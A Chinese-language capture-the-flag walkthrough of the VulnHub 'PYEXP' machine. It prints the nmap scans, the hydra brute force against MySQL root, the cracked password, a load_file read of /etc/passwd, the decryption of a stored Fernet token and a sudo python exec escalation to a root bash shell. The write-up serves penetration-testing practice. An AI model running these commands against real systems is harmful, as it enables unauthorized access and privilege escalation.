靶机介绍
名称:PYEXP
Download (Mirror): https://download.vulnhub.com/pyexp/pyexpvm.zip
信息收集
靶机ip
端口扫描
全端口扫描
nmap -p- 192.168.196.130
发现只开放了1337和3306端口,针对端口进一步的进行信息收集
nmap -p1337,3306 -sC -sV 192.168.196.130
发现只开放了1337和3306端口,针对端口进一步的进行信息收集
漏洞探测
针对ssh服务进行测试
searchsploit ssh 7.9
针对mysql服务
searchsploit mysql 5.5.5
searchsploit -m 40360.py将把编号为40360的漏洞利用脚本复制到当前目录。
searchsploit -m 40360.py
运行脚本,发现无法进行
爆破ssh密码无果
mysql密码爆破
hydra -l root -P /usr/share/wordlists/rockyou.txt mysql://192.168.196.130
可以发现,已经获得到了MySQL数据库的密码
Getshell
[3306][mysql] host: 192.168.0.21 login: root password: prettywoman
连接mysql
mysql -h192.168.196.130 -uroot -pprettywoman
试一下\!
\! id
发现是kali,可能靶机做了相关防护
试一下do_system函数
select do_system("id");
发现也做了过滤
试一下任意文件读取
select load_file("/etc/passwd");
读取成功,发现了lucy账户
尝试对lucy账户爆破失败
读取密钥失败
直接进入数据库操作
发现这表里面是一些加密的内容
通过搜索,我们可以知道fernet为一个python的加解密
官网有使用方法Fernet (symmetric encryption) — Cryptography 2.8 documentation
通过python交互模式解出密文
from cryptography.fernet import Fernet
key = b'UJ5_V_b-TWKKyzlErA96f-9aEnQEfdjFbRKt8ULjdV0='
f = Fernet(key)
token = b"gAAAAABfMbX0bqWJTTdHKUYYG9U5Y6JGCpgEiLqmYIVlWB7t8gvsuayfhLOO_cHnJQF1_ibv14si1MbL7Dgt9Odk8mKHAXLhyHZplax0v02MMzh_z_eI7ys="
f.decrypt(token)
得到lucy的账户密码
lucy
wJ9`"Lemdv9[FEw-
ssh连接
ssh lucy@192.168.196.130 -p 1337
获取到第一个flag
提权
sudo命令执行/usr/bin/python2 /opt/exp.py这个脚本,可以发现命令执行函数:exec
并且发现有root权限
使用shell的Python代码就可完成提权
sudo /usr/bin/python2 /opt/exp.py
import pty;pty.spawn("/bin/bash")
提权成功
找到最后一个flag打靶结束
总结
这个靶机没有web服务,所以说得从其他端口服务入手。
测试mysql时,mysql渗透中的一些敏感函数:\!, load_file(), do_system()要注意。
拿到shell,提权时观察到了敏感函数exec,利用Python函数,本地提权。